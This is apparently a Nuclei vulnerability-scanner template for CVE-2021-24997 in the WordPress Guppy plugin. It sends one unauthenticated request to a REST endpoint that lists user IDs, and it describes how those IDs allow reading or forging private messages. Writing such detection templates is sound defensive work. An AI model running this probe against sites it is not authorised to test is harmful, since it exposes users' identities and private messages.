id: CVE-2021-24997

info:
  name: WordPress Guppy <=1.1 - Information Disclosure
  author: Evan Rubinstein
  severity: medium
  description: WordPress Guppy plugin through 1.1 is susceptible to an API disclosure vulnerability. This can allow an attacker to obtain all user IDs and then use them to make API requests to get messages sent between users and/or send messages posing as one user to another.
  reference:
    - https://www.exploit-db.com/exploits/50540
    - https://patchstack.com/database/vulnerability/wp-guppy/wordpress-wp-guppy-plugin-1-2-sensitive-information-disclosure-vulnerability
    - https://wpscan.com/vulnerability/747e6c7e-a167-4d82-b6e6-9e8613f0e900
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24997
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-24997
    cwe-id: CWE-862
  tags: wordpress,guppy,api,cve2021,cve,wp-plugin,edb,wpscan

requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/guppy/v2/load-guppy-users?userId=1&offset=0&search="

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"guppyUsers":'
          - '"userId":'
          - '"type":'
        condition: and

# Enhanced by md on 2023/02/01